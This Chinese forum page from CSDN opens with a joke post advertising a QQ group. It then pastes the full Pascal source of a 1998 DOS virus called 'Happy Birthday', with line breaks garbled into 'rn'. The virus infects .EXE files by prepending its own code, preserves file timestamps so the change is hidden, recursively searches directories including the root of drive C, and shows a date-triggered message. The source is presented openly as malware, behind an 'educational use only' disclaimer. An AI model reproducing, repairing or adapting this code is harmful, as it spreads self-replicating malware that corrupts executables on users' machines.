可能是有史以来见过最不要脸的技术帖

版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_26440191/article/details/79819723

就是发一个前端技术吹流弊群,别的啥也不写!别问为什么? 就是这么任性。。。

QQ群:“570237592”

QQ群:“570237592”

QQ群:“570237592”

写完了!溜了溜了

展开阅读全文

今天生日。帖个技术帖,庆祝一下!

06-23

Happy Birthday rn Happy Birthday (c) 1998 WoRmrnI don't take responsibility for any damage caused by this virus.rnIt was made for EDUCATIONAL USE ONLY.rnAVs : No detectionrnSize : 8928 bytesrnPayload : yes - display textrnStealth : yes - file timernInfects : exernEncryption : nornIf you've got any question write to w0rm@freemail.c3.hu rnrn$I-rnuses windos,dos;rnconst virushossz=8928;rndir:array[1..4] of string[10]=('g?Z`ido','g?Zmio`','g?Z`idox','g?Zmirno`cf');rnvar exebuffer,virusbuffer:array[1..virushossz] of byte;rnregia:word;rnregit:longint;rnfuck:word;rndisable:file;rnkonyvt:string;rneddig:byte;rny,m,d,dow:word;rnFunction Crypt(S : String) : String; Encryption/Decryption ofrnVar A string.rni : Byte;rnbeginrnFor i := 1 to Length(S) DornS[i] := Char(ord(S[i]) xor (i+3));rnCrypt := S;rnend;rnProcedure MEGLEPETES; Display textrnbeginrnGetDate(y,m,d,dow);rnif (m=6) and (d=22) then beginrnwriteln('$Mgwxp*Izgtpk3CzDz9');rnwriteln('$MD)XHY+z= virushossz then beginrnassign(fuf,fufa.name);rnwindos.getfattr(fuf,regia);rnwindos.setfattr(fuf,Archive);rnreset(fuf,1);rnassign(orf,crypt('slhsey::"hvj'));rnrewrite(orf,1);rnwindos.getftime(fuf,regit);rnseek(fuf,fufa.size-(virushossz+10));rnblockread(fuf,exebuffer,virushossz);rnseek(orf,0);rnblockwrite(orf,exebuffer,virushossz);rnseek(fuf,virushossz);rnfor ix:=1 to (fufa.size-(virushossz+virushossz+10)) div virushossz do bernginrnblockread(fuf,exebuffer,virushossz);rnblockwrite(orf,exebuffer,virushossz);rnend;rnix:=(fufa.size-(virushossz+virushossz+10)) mod virushossz;rnblockread(fuf,exebuffer,ix);rnblockwrite(orf,exebuffer,ix);rnclose(orf);rnwindos.setftime(fuf,regit);rnclose(fuf);rnwindos.setfattr(fuf,regia);rnfor dow:=1 to paramcount dorncomlin:=comlin+' '+paramstr(dow);rndosshell(crypt('+f&pag~f|=?!uiw'+comlin));rnerase(orf);rnend;rnend;rnfunction fertozott(ellfa:searchrec):boolean; Is file already infected?rnvar i:byte;rnosszeg:longint;rnellkey:array[1..10] of byte;rnmodosito:byte;rnellf:file;rnbeginrnassign(ellf,ellfa.name);rnwindos.getfattr(ellf,regia);rnwindos.setfattr(ellf,archive);rnreset(ellf,1);rnwindos.getftime(ellf,regit);rnseek(ellf,ellfa.size-10);rnblockread(ellf,ellkey,10);rnwindos.setftime(ellf,regit);rnclose(ellf);rnwindos.setfattr(ellf,regia);rnosszeg:=1;rnfor i:=1 to 10 do beginrnif ellkey[i]>9 then beginrnmodosito:=ellkey[i] div 10;rnellkey[i]:=ellkey[i]-10*modosito;rnend;rnosszeg:=osszeg*ellkey[i];rnend;rnif osszeg=126000 then fertozott:=true else fertozott:=false;rnend;rnprocedure fertoz(filehelye,fileneve:string); Infect a file - filehelye=patrnhrnlabel next; of file,fileneve=its name rnrnvar fef:file;rnfefa:searchrec;rnk:array[1..10] of byte;rndt:tdatetime;rnprocedure keygen;rnvar o:longint;rni,a:byte;rnbeginrnrepeatrno:=126000;rnfor i:=1 to 10 do beginrnrepeatrna:=random(8)+1;rnuntil o mod a=0;rno:=o div a;rnk[i]:=a;rnend;rno:=1;rnfor i:=1 to 10 do o:=o*k[i];rnuntil o=126000;rnfor i:=1 to 10 do k[i]:=k[i]+random(24)*10;rnend;rnbeginrnchdir(filehelye);rnfindfirst(fileneve,Anyfile,fefa);rnif doserror=0 then beginrnif fefa.size>virushossz+10 then begin;rnassign(fef,fefa.name);rnwindos.getfattr(fef,regia);rnwindos.setfattr(fef,archive);rnreset(fef,1);rnwindos.getftime(fef,regit);rnif fertozott(fefa)<>true then beginrnseek(fef,0);rnblockread(fef,exebuffer,virushossz);rnseek(fef,0);rnblockwrite(fef,virusbuffer,virushossz);rnseek(fef,fefa.size);rnblockwrite(fef,exebuffer,virushossz);rnkeygen;rnblockwrite(fef,k,10);rnwindos.setftime(fef,regit);rneddig:=eddig+1;rnend;rnclose(fef);rnwindos.setfattr(fef,regia);rnend;rnend;rnend;rnProcedure fertozes(path : PathStr); This one searches subdirs of thernrnPath given as parameter and rnrnVar SearchFile : SearchRec; Infects them (Max. 5 files/run rnrnbeginrnif Path[Length(Path)] <> '\' thenrnPath := Path + '\';rnFindFirst(Path + '*.*', $37, SearchFile);rnWhile (DosError = 0) and (eddig<5) dornbeginrnif ((SearchFile.Attr and $10) = $10) and (SearchFile.Name[1] <> '.') andrn(eddig<5) thenrnFertozes(Path + SearchFile.Name)rnelsernif (Pos('.EXE',SearchFile.Name)<>0) and (eddig<5) then beginrnfertoz(Path,SearchFile.Name);rnend;rnif (eddig<5) then FindNext(SearchFile);rnend;rnend;rnprocedure inicializacio;rnvar inf:file;rnbeginrnassign(inf,paramstr(fuck)); Open current file (host)rnrngetfattr(inf,regia); Save file time for time rnrnsetfattr(inf,archive); Stealth and move Vx codernrnreset(inf,1); Into Vx buffer. rnrngetftime(inf,regit);rnseek(inf,0);rnblockread(inf,virusbuffer,virushossz);rnsetftime(inf,regit); Close file and set time rnrnclose(inf);rnsetfattr(inf,regia);rnend;rnbeginrngetdir(0,konyvt); Get current dirrnrandomize; For the keygeneratorrneddig:=0;rninicializacio; Initialize buffersrngetdate(y,m,d,dow);rnif dow=5 then fertozes('c:\'); Infect filesrnfor dow:=1 to 4 do beginrnchdir(crypt(dir[dow]));rnif ioresult=0 then fertozes(crypt(dir[dow]));rnend;rnfuttatas; Execute hostrnMEGLEPETES; Payloadrnchdir(konyvt); Reset original dirrnend.rn 论坛

没有更多推荐了,返回首页